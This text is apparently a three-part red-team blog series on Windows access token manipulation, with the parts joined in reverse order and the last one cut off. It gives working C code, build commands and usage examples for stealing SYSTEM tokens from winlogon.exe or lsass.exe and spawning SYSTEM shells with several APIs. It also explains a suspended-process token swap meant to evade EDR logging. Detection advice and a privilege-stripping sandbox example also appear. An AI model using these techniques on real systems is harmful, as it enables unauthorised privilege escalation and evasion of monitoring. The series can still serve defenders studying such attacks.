Previously — Two Techniques Down

In Part 1, we covered the Suspended Process Token Swap (B3) — the most evasive technique, using NtSetInformationProcess to silently replace a frozen process's identity. In Part 2, we covered CreateProcessWithTokenW (B2) — the seclogon shortcut that trades evasion for simplicity.

This final part covers the remaining four techniques and drops a truth bomb that contradicts most red team blogs you've read: SecLogon does NOT make svchost.exe the parent process on modern Windows.

Here's what we're covering:

Plus: The Parent PID myth — why every technique in this series produces the same process tree.

The Parent PID Myth — Busted

Before we dive into the techniques, let's address the elephant in the room. You've probably read blog posts claiming:

"CreateProcessWithLogonW and CreateProcessWithTokenW spawn processes through the SecLogon service, so the parent PID will be svchost.exe — useful for PPID spoofing."

This is wrong on modern Windows. We tested every technique, and here's what actually happens:

PS> Get-CimInstance Win32_Process -Filter "ProcessId = 7032" | Select ProcessId, ParentProcessId, Name

ProcessId ParentProcessId Name
--------- --------------- ----
     7032            7864 cmd.exe     ← Parent = B4_logon_spawn.exe, NOT svchost.exe

What Changed — The Timeline

Starting from Vista, Microsoft redesigned SecLogon. When CreateProcessWithTokenW or CreateProcessWithLogonW fires an RPC to the SecLogon service, SecLogon internally:

1. Receives the RPC request

2. Opens a handle to the caller's process

3. Creates the child process with the caller's handle as the parent (via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS or equivalent internal mechanism)

The child process's parent is always your tool — not svchost.exe. This applies to all six techniques in this series:

If you want svchost.exe as the parent, you need explicit PPID spoofing via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS — that's a separate technique entirely, not a side effect of SecLogon.

With that settled, let's cover the remaining four techniques.

A1: Steal & Impersonate — Thread-Level Identity Theft

📁 Source: A1_steal_impersonate/steal_impersonate.c

This is the foundational technique. Everything else builds on it. A1 doesn't spawn a new process — it makes your current thread wear someone else's identity.

The Concept

Every thread in Windows can temporarily impersonate a different user by attaching an Impersonation token. The process's Primary token stays unchanged — only the thread's effective identity changes.

  BEFORE:
    Process (Primary: Alice)
      └── Thread (no impersonation token → inherits Alice)

  AFTER SetThreadToken:
    Process (Primary: Alice)       ← unchanged
      └── Thread (Impersonation: SYSTEM) ← wearing SYSTEM's badge

The thread can now access resources as SYSTEM — open SYSTEM-only registry keys, read protected files, access privileged handles. But the process itself still looks like Alice from the outside.

The Flow

The Critical Code

The conversion and application happen in two calls:

/* Primary → Impersonation */
DuplicateTokenEx(
    hStolenPrimary,         /* Source: winlogon's Primary token */
    TOKEN_ALL_ACCESS,
    NULL,
    SecurityImpersonation,  /* Impersonation level */
    TokenImpersonation,     /* Output: Impersonation token */
    &hImpToken
);

/* Apply to current thread */
SetThreadToken(NULL, hImpToken);  /* NULL = current thread */

After this, the thread can perform SYSTEM-only operations:

/* This normally fails for admin users — succeeds under impersonation */
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SAM\\SAM", 0, KEY_READ, &hKey);
/* → ERROR_SUCCESS — we're SYSTEM on this thread */

Reverting

Impersonation is temporary. One call undoes it:

RevertToSelf();  /* Thread drops the borrowed identity */

Why A1 Matters

A1 is the prerequisite for B1 and B3. Both require SeAssignPrimaryTokenPrivilege — which regular admins don't have, but SYSTEM does. The attack chain is:

Admin shell → A1 (impersonate SYSTEM on thread) → now have SeAssignPrimaryTokenPrivilege
            → B1 or B3 (spawn permanent SYSTEM process)

A1 gives you temporary SYSTEM. B1/B3 give you permanent SYSTEM.

A2: Privilege Reduction — The Defensive Counterpart

📁 Source: A2_privilege_reduction/sandbox_thread.c

A2 is A1 in reverse. Instead of putting on a more-privileged badge, you strip privileges from your own token to create a sandboxed thread. This is a legitimate defensive technique — the same mechanism used by Chrome's sandbox, IIS worker processes, and Windows service isolation.

The Concept

A high-privilege process duplicates its own token, permanently removes dangerous privileges using SE_PRIVILEGE_REMOVED, and applies the restricted token to a worker thread. The worker thread can't re-escalate — the privileges are gone, not just disabled.

  BEFORE:
    Thread: SeDebugPrivilege ✓, SeBackupPrivilege ✓, SeTcbPrivilege ✓
    → Can open winlogon.exe, read SAM, act as part of the OS

  AFTER strip_privileges + SetThreadToken:
    Thread: SeDebugPrivilege ✗, SeBackupPrivilege ✗, SeTcbPrivilege ✗
    → Cannot open protected processes, cannot read SAM

Key Difference: REMOVED vs DISABLED

/* SE_PRIVILEGE_DISABLED — can be re-enabled later */
tp.Privileges[0].Attributes = SE_PRIVILEGE_DISABLED;

/* SE_PRIVILEGE_REMOVED — permanently gone from this token */
tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;

DISABLED is a seatbelt you can unbuckle. REMOVED is cutting the seatbelt out of the car. A2 uses REMOVED — the thread cannot re-escalate.

Privileges Stripped

static const char* DANGEROUS_PRIVILEGES[] = {
    "SeDebugPrivilege",              /* Open SYSTEM processes */
    "SeBackupPrivilege",             /* Read any file regardless of ACL */
    "SeRestorePrivilege",            /* Write any file regardless of ACL */
    "SeTcbPrivilege",                /* Act as part of the OS */
    "SeAssignPrimaryTokenPrivilege", /* Swap process tokens (B1/B3) */
    "SeTakeOwnershipPrivilege",      /* Take ownership of any object */
    "SeLoadDriverPrivilege",         /* Load kernel drivers */
    "SeImpersonatePrivilege",        /* Impersonate other users (B2) */
    NULL
};

Verification

The code verifies the sandbox works by attempting privileged operations before and after:

PRE-SANDBOX:  Can read HKLM\SAM\SAM ✓ (privileged access works)
POST-SANDBOX: SAM access DENIED ✓ (sandbox working correctly!)
POST-SANDBOX: Cannot open winlogon.exe ✓ (SeDebugPrivilege stripped!)
POST-REVERT:  SAM access restored ✓ (original privileges confirmed)

Why Include a Defensive Technique?

Understanding how sandboxing works is critical for attackers and defenders:

• Red teamers need to know that impersonation tokens with stripped privileges can't be re-escalated — stop trying to abuse them

• Blue teamers see the same DuplicateTokenEx + SetThreadToken pattern in legitimate sandboxing — helps distinguish malicious from defensive usage

• The code pattern is identical to A1 — same APIs, opposite intent

B1: CreateProcessAsUserW — The Direct Spawn

📁 Source: B1_create_process_as_user/token_to_process.c

B1 is the most direct approach: take a stolen token, convert it to Primary, and spawn a process with it. No services involved, no undocumented APIs. Just CreateProcessAsUserW — a standard Win32 function.

The Flow

B1 is interesting because it demonstrates the full A→B conversion pipeline. It chains A1 (steal & impersonate) with a process spawn:

Why the Round Trip?

Notice the double conversion: Primary → Impersonation → Primary. Why not just use the original Primary token directly?

Two reasons:

1. Ownership — The original Primary token from OpenProcessToken is a reference to winlogon's token. The kernel won't let you assign someone else's token reference to a new process. DuplicateTokenEx creates an independent copy you own.

2. Full A1 chain demonstration — B1 demonstrates the complete real-world attack flow: steal, impersonate (to gain SeAssignPrimaryTokenPrivilege), then spawn. In practice, you'd often already be impersonating from a previous step.

The Spawn Call

CreateProcessAsUserW(
    hNewPrimary,       /* hToken — MUST be TokenPrimary */
    NULL,              /* lpApplicationName */
    spawn_cmd,         /* lpCommandLine — "cmd.exe" */
    NULL, NULL,        /* Security attributes */
    FALSE,             /* bInheritHandles */
    CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
    pEnv,              /* Environment block from CreateEnvironmentBlock */
    NULL,              /* Current directory */
    &si, &pi
);

CreateProcessAsUserW is strict — it requires a Primary token. Pass an Impersonation token and it fails. This is the key difference from B2 (CreateProcessWithTokenW), which accepts Impersonation tokens and lets seclogon handle the conversion.

The Privilege Barrier

Error 1314 — ERROR_PRIVILEGE_NOT_HELD
→ Missing SeAssignPrimaryTokenPrivilege
→ Regular admins don't have this. SYSTEM does.

This is B1's biggest limitation. CreateProcessAsUserW requires SeAssignPrimaryTokenPrivilege, which only SYSTEM-level accounts hold. A regular admin running B1 gets error 1314 — you need to chain it with A1 first (impersonate SYSTEM to gain the privilege), then call CreateProcessAsUserW from the impersonated context.

Or just use B2 instead — it only needs SeImpersonatePrivilege, which admins have.

B1 vs B2 — When to Use Which

B4: CreateProcessWithLogonW — The Credential-Based Spawn

📁 Source: B4_create_process_with_logon/logon_spawn.c

B4 is fundamentally different from everything else in this series. It doesn't steal tokens at all. It uses plaintext credentials — username, domain, password — and lets SecLogon create a token from scratch.

The Key Difference

B1: Needs a stolen TOKEN handle + SeAssignPrimaryTokenPrivilege
B2: Needs a stolen TOKEN handle + SeImpersonatePrivilege + seclogon
B3: Needs a stolen TOKEN handle + SeDebugPrivilege + NtSetInformationProcess
B4: Needs USERNAME + PASSWORD. That's it. No token handles. No privileges.

B4 is the only API that a standard (non-admin) user can call. You just need valid credentials for the target account and the SecLogon service running.

The Flow

The 0xc0000142 Trap

CreateProcessWithLogonW creates a new logon session. The spawned process runs under a fresh token that may not have DACL permissions on the caller's Window Station (WinSta0) and Desktop (Default). When user32.dll initializes inside the child, it tries to access these objects — and if the DACLs don't include the new SID, initialization fails with STATUS_DLL_INIT_FAILED (0xc0000142).

The fix is granting Everyone access to both objects before spawning:

/* Build Everyone SID (S-1-1-0) */
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID,
                         0, 0, 0, 0, 0, 0, 0, &pEveryoneSID);

/* Grant WINSTA_ALL_ACCESS on Window Station */
ea.grfAccessPermissions = WINSTA_ALL_ACCESS | READ_CONTROL;
ea.Trustee.ptstrName    = (LPTSTR)pEveryoneSID;
SetEntriesInAcl(1, &ea, pOldDacl, &pNewDacl);
SetSecurityInfo(hWinSta, SE_WINDOW_OBJECT, DACL_SECURITY_INFORMATION, ...);

This is a real-world issue — the B4 source code includes the complete grant_winsta_desktop_access() function that handles this transparently.

Error Handling — B4 Has the Most Failure Modes

Because B4 involves credential validation, it encounters errors the other techniques never see:

The code handles all of these with actionable guidance. On error 1385, it automatically falls back to LOGON_NETCREDENTIALS_ONLY — the equivalent of runas /netonly, which uses the credentials for network access only.

B4's OPSEC Footprint

B4 generates the most forensic evidence of any technique:

Event 4648 — A logon was attempted using explicit credentials
Event 4624 — An account was successfully logged on (Type 2: Interactive)
Process Creation — Parent PID = your tool (NOT svchost.exe)
Named Pipe — SecLogon RPC communication visible in ETW

The password briefly exists in process memory. Credential Guard won't prevent this — the credentials are supplied by the attacker, not stolen from LSASS.

Usage

# Local account
.\B4_logon_spawn.exe Administrator P@ssw0rd

# Domain account
.\B4_logon_spawn.exe jdoe Spring2024! CORP

# Custom command
.\B4_logon_spawn.exe svc_account Passw0rd! . "powershell.exe"

The Complete Family — Side-by-Side Comparison

Now that we've covered all six techniques across three blog posts, here's the definitive comparison:

Privilege Requirements

Evasion Properties

The Decision Matrix — Which Technique to Use

Token Direction Map

Detection Summary — What Blue Teams Should Monitor

The single most impactful detection: re-query process tokens after creation events. Most EDRs check at creation time and trust forever. A post-creation re-check catches B3's suspended swap — the one technique that evades everything else.

Building Everything

All six techniques compile from one Makefile:

cd Modules/token_impersonation
make all

Individual builds:

# A1: Steal & Impersonate
x86_64-w64-mingw32-gcc -O2 -o A1_steal_impersonate.exe \
    A1_steal_impersonate/steal_impersonate.c -ladvapi32 -lkernel32

# A2: Privilege Reduction
x86_64-w64-mingw32-gcc -O2 -o A2_sandbox_thread.exe \
    A2_privilege_reduction/sandbox_thread.c -ladvapi32 -lkernel32

# B1: CreateProcessAsUserW
x86_64-w64-mingw32-gcc -O2 -o B1_create_process_as_user.exe \
    B1_create_process_as_user/token_to_process.c \
    -ladvapi32 -lkernel32 -luserenv -municode

# B4: CreateProcessWithLogonW
x86_64-w64-mingw32-gcc -O2 -o B4_logon_spawn.exe \
    B4_create_process_with_logon/logon_spawn.c \
    -ladvapi32 -lkernel32 -luserenv -municode

Conclusion — The Series Complete

Across three blog posts and six techniques, we've covered every practical method for Windows Access Token Manipulation:

Part 1 (B3): Born With a Stolen Soul — Suspended Process Token Swap The most evasive technique. Process creation event is clean. Requires SYSTEM.

Part 2 (B2): The Seclogon Shortcut — CreateProcessWithTokenW The pragmatic middle ground. Admin-accessible. Depends on SecLogon.

Part 3 (this post): The Complete Family — A1, A2, B1, B4 + The Parent PID Truth Thread-level operations, the direct spawn, the credential-based approach, and the myth-busting truth that SecLogon does not give you svchost.exe as a parent on modern Windows.

The fundamental lesson: all six techniques produce the same parent-child process tree. The parent is always the calling process. The differences are in privilege requirements, evasion properties, and forensic footprint. Choose based on what you have (admin? SYSTEM? credentials?) and what you need (stealth? simplicity? no dependencies?).

MITRE ATT&CK References:

• T1134.001 — Token Impersonation/Theft (A1)

• T1134.002 — Create Process with Token (B1, B2, B3, B4)

• T1134 — Access Token Manipulation (A2)

• T1078 — Valid Accounts (B4 — credential usage)

Previously — The Hard Way

In Part 1, we explored the Suspended Process Token Swap — the most evasive token manipulation technique in Windows. We created a clean process, froze it before it executed a single instruction, swapped its identity via the undocumented NtSetInformationProcess, and resumed it as SYSTEM. Maximum evasion, but maximum complexity too:

• Required SeAssignPrimaryTokenPrivilege (SYSTEM-only privilege)

• Required manual Primary→Primary token duplication

• Required resolving an undocumented ntdll.dll API at runtime

• Required creating a suspended process and managing its lifecycle

• Required understanding NTSTATUS error codes

What if there was a simpler path? What if Windows itself had a built-in service that could handle the messy token conversion for you?

It does. It's called Secondary Logon (seclogon), and it's the engine behind CreateProcessWithTokenW.

The Core Insight — Let Windows Do the Conversion

Recall the fundamental rule from Part 1:

A process requires a Primary token. A thread can hold an Impersonation token.

When you steal a token from another process and duplicate it, you typically get an Impersonation token (or you convert it to one for thread-level impersonation). To spawn a new process with that stolen identity, you need a Primary token — because processes only accept Primary tokens at birth.

In technique B1 (CreateProcessAsUserW), you do this conversion manually:

1. Steal the token

2. Call DuplicateTokenEx with TokenPrimary to convert Impersonation → Primary

3. Call CreateProcessAsUserW with the new Primary token

4. This requires SeAssignPrimaryTokenPrivilege — which regular admins don't have

In technique B3 (Suspended Token Swap), you also need a Primary token for the swap — same privilege requirement.

B2 is different. CreateProcessWithTokenW accepts an Impersonation token directly. You don't need to convert it. You don't need SeAssignPrimaryTokenPrivilege. The Secondary Logon service (seclogon) running under svchost.exe receives your Impersonation token, converts it to Primary internally using its own SYSTEM-level privileges, creates the process, and hands you back the result.

  B1 (manual):     Imp Token → YOU convert → Primary Token → CreateProcessAsUserW
                   Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)

  B2 (seclogon):   Imp Token → seclogon converts → Primary Token → Process Created
                   Requires: SeImpersonatePrivilege ✅ (admin has it)

  B3 (swap):       Primary Token → NtSetInformationProcess on suspended process
                   Requires: SeAssignPrimaryTokenPrivilege ❌ (admin doesn't have it)

The trade-off is clear: B2 trades evasion for simplicity. You need fewer privileges, less code, and no undocumented APIs. But the seclogon service interaction is logged, and the token is visible at process creation time.

What Is the Secondary Logon Service?

The Secondary Logon service (seclogon) is a legitimate Windows service that enables the "Run as different user" functionality. When you right-click an application and select "Run as different user," or when you use the runas.exe command-line tool — that's seclogon working behind the scenes.

It runs as NT AUTHORITY\SYSTEM under a svchost.exe instance, which means it has all the privileges needed to create processes with arbitrary tokens. When CreateProcessWithTokenW is called, it doesn't do the work itself — it sends an RPC request to the seclogon service, which:

1. Takes your Impersonation token

2. Internally calls DuplicateTokenEx to convert it to a Primary token (using its own SYSTEM privileges)

3. Creates the process with the Primary token via the kernel

4. Returns the process handle back to the caller

   

The key insight: seclogon is already SYSTEM, so it has SeAssignPrimaryTokenPrivilege. You don't need it — seclogon has it for you.

The Complete Attack Flow

Here's the full chain:

  ┌──────────────────────────────┐
  │ 1. Check seclogon service    │   ← Must be running                                 | |                              |
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────┐
  │ 2. Enable SeDebugPrivilege   │   ← Required to touch SYSTEM processes                        |
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────┐
  │ 3. Steal SYSTEM token from   │   ← OpenProcess → OpenProcessToken                 |
  │    winlogon.exe              │
  └──────────────┬───────────────┘
                 ▼
  ┌──────────────────────────────────────┐
  │ 4. DuplicateTokenEx(                 │
  │      TokenType = TokenImpersonation  │   ← Stay as Impersonation!                           |
  │    )                                 │
  └──────────────┬───────────────────────┘
                 ▼
  ┌──────────────────────────────────────────┐
  │ 5. CreateProcessWithTokenW(              │
  │      hImpersonationToken,                │   ← Imp token goes directly                                     |
  │      LOGON_WITH_PROFILE,                 │
  │      "cmd.exe"                           │
  │    )                                     │
  │    → seclogon converts to Primary        │
  │    → New process runs as SYSTEM          │
  └──────────────────────────────────────────┘

Compare this to B3's flow — no suspended processes, no NtSetInformationProcess, no NTSTATUS error handling, no undocumented APIs. Five steps instead of ten.

The Code — Walking Through Every Line

📁 Full source code: seclogon_spawn.c

📁 Shared utility header: common.h

📦 Pre-compiled executable: B2_seclogon_spawn.exe

Part 1: Checking the seclogon Service

Before we do anything, we check if the Secondary Logon service is running. If it's disabled (a common hardening measure), CreateProcessWithTokenW will fail with error code 1058 (ERROR_SERVICE_DISABLED).

static BOOL check_seclogon_service(void) {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCM) {
        print_info("Cannot query SCM — proceeding anyway");
        return TRUE;
    }

    SC_HANDLE hSvc = OpenServiceA(hSCM, "seclogon", SERVICE_QUERY_STATUS);
    if (!hSvc) {
        print_fail_custom("Cannot open seclogon service", GetLastError());
        CloseServiceHandle(hSCM);
        return FALSE;
    }

    SERVICE_STATUS ss;
    BOOL running = FALSE;
    if (QueryServiceStatus(hSvc, &ss)) {
        running = (ss.dwCurrentState == SERVICE_RUNNING);
    }

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return running;
}

We use the Service Control Manager (OpenSCManagerA) to connect to the services database, open a handle to the seclogon service, and query its current state. If dwCurrentState isn't SERVICE_RUNNING, we bail out with a helpful error message suggesting alternatives (B1 or manually starting the service with sc start seclogon).

This pre-check is important because CreateProcessWithTokenW produces a cryptic error code 1058 when seclogon is disabled. Our explicit check gives the operator actionable information immediately.

Part 2: Stealing and Duplicating the Token

This part is identical to the other techniques — we steal SYSTEM's token from winlogon.exe:

DWORD pid = find_pid_by_name("winlogon.exe");

HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

HANDLE hStolenPrimary = NULL;
OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hStolenPrimary);

But here's where B2 diverges from B1 and B3. When we duplicate the token, we keep it as Impersonation — not Primary:

HANDLE hImpToken = NULL;
DuplicateTokenEx(
    hStolenPrimary,           /* Source: winlogon's primary token */
    TOKEN_ALL_ACCESS,         /* Full access on the new token */
    NULL,                     /* Default security attributes */
    SecurityImpersonation,    /* Impersonation level */
    TokenImpersonation,       /* ← STAY AS IMPERSONATION! */
    &hImpToken                /* Receives the new impersonation token */
);

In B1, we'd use TokenPrimary here. In B3, we'd use TokenPrimary. In B2, we explicitly use TokenImpersonation because CreateProcessWithTokenW is designed to accept Impersonation tokens directly. The seclogon service handles the conversion for us.

This is the fundamental insight of the technique: skip the conversion step entirely and let the OS service do it with its own elevated privileges.

Part 3: CreateProcessWithTokenW — The Core API

The actual spawn is a single API call:

STARTUPINFOW si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.lpDesktop = L"WinSta0\\Default";

DWORD dwCreationFlags = CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT;

CreateProcessWithTokenW(
    hImpToken,            /* hToken — Impersonation token is OK! */
    LOGON_WITH_PROFILE,   /* dwLogonFlags */
    NULL,                 /* lpApplicationName */
    spawn_cmd,            /* lpCommandLine — e.g., L"cmd.exe" */
    dwCreationFlags,      /* dwCreationFlags */
    NULL,                 /* lpEnvironment */
    NULL,                 /* lpCurrentDirectory */
    &si,                  /* lpStartupInfo */
    &pi                   /* lpProcessInformation */
);

Let's break down each parameter:

LOGON_WITH_PROFILE vs LOGON_NETCREDENTIALS_ONLY:

For most offensive use cases, LOGON_WITH_PROFILE is what you want — it creates a fully interactive process under the stolen identity.

Part 4: Error Handling — What Goes Wrong

CreateProcessWithTokenW has three common failure modes, and our code handles all of them:

if (!CreateProcessWithTokenW(...)) {
    DWORD err = GetLastError();

    switch (err) {
        case 1314:  /* ERROR_PRIVILEGE_NOT_HELD */
            printf("→ SeImpersonatePrivilege not held\n");
            break;
        case 1058:  /* ERROR_SERVICE_DISABLED */
            printf("→ seclogon service is disabled — use B1 instead\n");
            break;
        case 5:     /* ERROR_ACCESS_DENIED */
            printf("→ Access denied — check token access rights\n");
            break;
    }
}

B2 vs B3 — The Honest Comparison

Let's put these two techniques side by side:

Privilege Requirements

Winner: B2. A regular admin account can use B2 directly. B3 requires SYSTEM-level privileges, meaning you need to chain it with thread-level impersonation first.

Winner: B3. The suspended token swap has a fundamentally cleaner forensic trail. The process creation event shows the original identity, and there's no service interaction to log..

Tie. Each has a different dependency. B2 depends on an external service (which can be disabled). B3 depends on an undocumented API (which could change between Windows versions, though it hasn't in 20+ years).

Detection Surface — How Blue Teams Catch B2

B2 is more detectable than B3, but that doesn't mean it's trivial to detect. Here's what to monitor:

1. Secondary Logon Service Events

When CreateProcessWithTokenW is called, it generates an RPC interaction with the seclogon service. This can be monitored via:

• Event ID 4688 (Process Creation) — the new process shows the stolen identity, not the caller's identity

• Service Control events — interactions with seclogon from unexpected processes

• ETW traces on the Microsoft-Windows-Security-Auditing provider

2. Token Type Anomaly

Legitimate uses of CreateProcessWithTokenW (like runas.exe) follow predictable patterns:

• runas.exe → seclogon → new process

• Interactive user → right-click "Run as" → seclogon → new process

An attacker's chain is different:

• Random process → OpenProcessToken on winlogon.exe → DuplicateTokenEx → seclogon → SYSTEM process

The combination of OpenProcessToken on a SYSTEM process followed by CreateProcessWithTokenW is suspicious.

3. Process Tree Analysis

When B2 spawns a process, the parent PID is the calling process, not seclogon. So you'll see something like:

  malware.exe (PID 1234) → cmd.exe (PID 5678, running as SYSTEM)

A regular admin process spawning a SYSTEM process is always suspicious, regardless of the API used.

4. seclogon Service State Monitoring

Organizations that disable seclogon as a hardening measure should monitor for:

• Attempts to start the service (sc start seclogon)

• Registry modifications to the service configuration (HKLM\SYSTEM\CurrentControlSet\Services\seclogon)

• Successful seclogon starts from non-standard service managers

Building and Running

Cross-Compile from Linux (MinGW)

x86_64-w64-mingw32-gcc -O2 -Wall -Wextra \
    -o B2_seclogon_spawn.exe seclogon_spawn.c \
    -ladvapi32 -lkernel32 -luserenv -municode

The -luserenv library is needed because LOGON_WITH_PROFILE triggers user profile loading, which uses APIs from userenv.dll. The -municode flag is needed for the wmain entry point (wide-character argument handling).

📦 Or grab the pre-compiled exe directly from the repository.

Usage

# Default: steal from winlogon.exe → spawn cmd.exe as SYSTEM
.\B2_seclogon_spawn.exe

# Custom: steal from lsass.exe → spawn powershell as SYSTEM
.\B2_seclogon_spawn.exe lsass.exe "powershell.exe"

Expected Output (When Run as Admin)

  ╔══════════════════════════════════════════════╗
  ║   Access Token Manipulation — PoC Toolkit    ║
  ╚══════════════════════════════════════════════╝

  Technique: B2 — CreateProcessWithTokenW (seclogon shortcut)
  Target:    winlogon.exe
  Spawn:     cmd.exe

[*] Checking if Secondary Logon (seclogon) service is running...
[+] seclogon service is RUNNING — CreateProcessWithTokenW will work

[*] Current process identity:
[+] Running as: DESKTOP\Alice

[*] Enabling SeDebugPrivilege...
[+] SeDebugPrivilege enabled
[*] Enabling SeImpersonatePrivilege...

[*] Finding winlogon.exe...
[+] Found winlogon.exe at PID 612
[+] Stolen primary token acquired
[+] Stolen identity: NT AUTHORITY\SYSTEM

[*] Duplicating token as Impersonation (NO conversion to Primary needed!)...
[+] Token duplicated as TokenImpersonation
[*] Duplicated Token Type: TokenImpersonation
[*] NOTE: No Imp→Primary conversion needed — seclogon handles it internally

[*] Spawning process via CreateProcessWithTokenW...
[*] (seclogon service will convert Impersonation → Primary internally)

  ╔══════════════════════════════════════════════════╗
  ║  PROCESS SPAWNED VIA SECLOGON (Imp token OK!)    ║
  ╚══════════════════════════════════════════════════╝

[+] PID: 3456
[+] Thread ID: 3460
[+] Process running as: NT AUTHORITY\SYSTEM

  B2 vs B1 advantage: No SeAssignPrimaryTokenPrivilege required!
  B2 vs B3 advantage: No undocumented APIs, simpler implementation.
  B2 weakness:        Depends on seclogon service being enabled.
  B2 vs B3 weakness:  Token IS visible in process creation event.

[+] B2 technique complete.

Notice the simplicity compared to B3's output — no suspended process, no before/after identity verification, no NtSetInformationProcess resolution. The seclogon service handles the messy parts.

The Bigger Picture — Where B2 Fits

We now have 6 complete token manipulation techniques. Here's the complete map:

B2 sits in the sweet spot: admin-accessible with reasonable simplicity. It's not the stealthiest (B3 wins there), and it's not the most portable (B1 wins there), but it's the technique you reach for when you have admin privileges and just need a SYSTEM process spawned quickly.

Conclusion

CreateProcessWithTokenW via the Secondary Logon service represents the pragmatic middle ground in token manipulation. It sacrifices the forensic cleanliness of B3's suspended token swap for a dramatically simpler implementation that works from a regular admin context — no SYSTEM-level privileges required, no undocumented APIs, no manual token type conversion.

The trade-offs are real:

• seclogon dependency — if the service is disabled, the technique fails entirely

• Visible at creation — the stolen identity appears in process creation events and EDR callbacks

• Service interaction logged — the RPC call to seclogon is observable

But in environments where seclogon is running (the default Windows configuration), B2 gives you the fastest path from "admin shell" to "SYSTEM process" with the least amount of code.

The series so far:

• Part 1 (B3): Born With a Stolen Soul — Suspended Process Token Swap via NtSetInformationProcess

• Part 2 (B2): The Seclogon Shortcut — CreateProcessWithTokenW (this blog)

MITRE ATT&CK References:

• T1134.002 — Access Token Manipulation: Create Process with Token

• T1134.001 — Access Token Manipulation: Token Impersonation/Theft

Introduction — What Even Is a Token?

Before we get into the exploit, let's build a mental model that sticks.

Every process running on your Windows machine has an identity card stapled to it. Windows calls this card an Access Token. When notepad.exe tries to open a file, it's not notepad asking — it's the token attached to notepad that says "I am DESKTOP\Alice, I belong to the Users group, and I have these specific permissions." The kernel reads that token, checks it against the file's security descriptor, and decides: allow or deny.

The Two Types of Tokens

There are exactly two types of tokens in Windows:

Here's the structural rule that governs everything in this blog:

A thread cannot hold a Primary token in its context, and a process cannot hold an Impersonation token.

The kernel enforces this. They're structurally incompatible — like trying to plug a USB-A cable into a USB-C port. You need an adapter. That adapter is DuplicateTokenEx, which converts between the two types. You'll see it multiple times in our code.

Why Do Two Types Exist?

Think about a web server. The server process runs as NT AUTHORITY\SYSTEM — its Primary token is the SYSTEM identity. When a client connects and authenticates as DOMAIN\Alice, the server needs to temporarily act as Alice to check if she can access the requested file. But the server doesn't want to become Alice permanently — it needs to go back to being SYSTEM for the next request.

The solution: the server thread grabs an Impersonation token for Alice, does the file check, then drops the impersonation. The process stays SYSTEM. The thread temporarily wore Alice's badge, then took it off.

Attackers reverse this pattern. Instead of a server wearing a less-privileged badge temporarily, an attacker wears a more-privileged badge — stealing SYSTEM's identity and wearing it on their thread.

The Two Things Attackers Do With Tokens

Everything in token manipulation boils down to two moves:

Move 1 — Steal & Wear (Thread-Level Takeover): Open a SYSTEM process → grab its Primary token → convert it to Impersonation → apply it to your thread. Your thread now acts as SYSTEM. The process itself still looks normal from the outside. This is fast, quiet, and temporary.

Move 2 — Steal & Spawn (Process-Level Takeover): Take that stolen token → convert it to Primary → use it to create a brand new process. The new process is permanently SYSTEM. It survives even if you kill the original attacker process.

This blog covers a specific — and the most evasive — variant of Move 2.

What We're Going to Do

Instead of spawning a process with a stolen token (which process creation APIs log and EDR products intercept), we're going to:

1. Create a clean, legitimate process — like notepad.exe — using our own boring identity

2. Freeze it before it executes a single instruction using CREATE_SUSPENDED

3. Swap its identity with a stolen SYSTEM token via an undocumented kernel API (NtSetInformationProcess)

4. Resume it — the process wakes up as SYSTEM, with no trace of the swap in creation logs

The process is born legitimate but wakes up as someone else entirely.

We call this the Suspended Process Token Swap, and it's the most advanced token manipulation technique in the Windows attacker's toolkit.

Why Not Just Use CreateProcessAsUserW?

Fair question. The typical way to spawn a process with a stolen token is CreateProcessAsUserW or CreateProcessWithTokenW. Both work, but both have a critical flaw from an attacker's perspective:

The process creation event already contains the stolen identity.

When Windows logs Event ID 4688 (Process Creation), the token information is baked into the event at creation time. EDR products hook CreateProcessAsUserW and see exactly what token you're passing. The entire operation — "here's a token, spawn this process with it" — is a single, observable action.

Traditional approach (detectable):
  CreateProcessAsUserW(stolenToken, "cmd.exe")
  → Event 4688 fires with stolenToken's identity
  → EDR sees: "Why is admin spawning cmd.exe as SYSTEM?"

What if we could separate those two steps? Create the process with our own identity, and then later, before it runs any code, silently replace its identity with the stolen one?

Our approach (evasive):
  Step 1: CreateProcessW("notepad.exe", CREATE_SUSPENDED)  → Event 4688 fires with OUR identity (boring)
  Step 2: NtSetInformationProcess(swap token)              → No event. Silent.
  Step 3: ResumeThread()                                   → Process runs as SYSTEM

That gap between Step 1 and Step 2 is where the evasion lives.

The Kernel's One Exception: Suspended Processes

Here's a structural rule from the Windows kernel:

You cannot hot-swap the primary token of a running process.

Once a process has started executing threads, its primary token is locked. The kernel refuses NtSetInformationProcess with STATUS_ACCESS_DENIED or STATUS_NOT_SUPPORTED. This makes sense — imagine swapping the identity of a process that's halfway through a security check. The results would be undefined.

But there's an exception. When you create a process with the CREATE_SUSPENDED flag, the process exists in memory — its address space is set up, its primary thread is created — but no code has executed. The thread is frozen before the very first instruction of ntdll!LdrInitializeThunk. In this state, and only in this state, the kernel permits a primary token swap via NtSetInformationProcess.

The moment you call ResumeThread, the window closes. No more swaps. The process runs with whatever token it has at that point — permanently.

The Complete Attack Flow

Here's the full chain, step by step:

The critical insight: Step 4 creates the process with YOUR identity. Step 5 overwrites it. Any tool that only inspects the creation event sees a normal, boring process launch. The token swap happens in the gap between creation and execution.

The Code — Walking Through Every Line

📁 Full source code and pre-compiled binary: AccessTokenManipulation_NtSetInformationProcess

Part 1: Resolving the Undocumented API

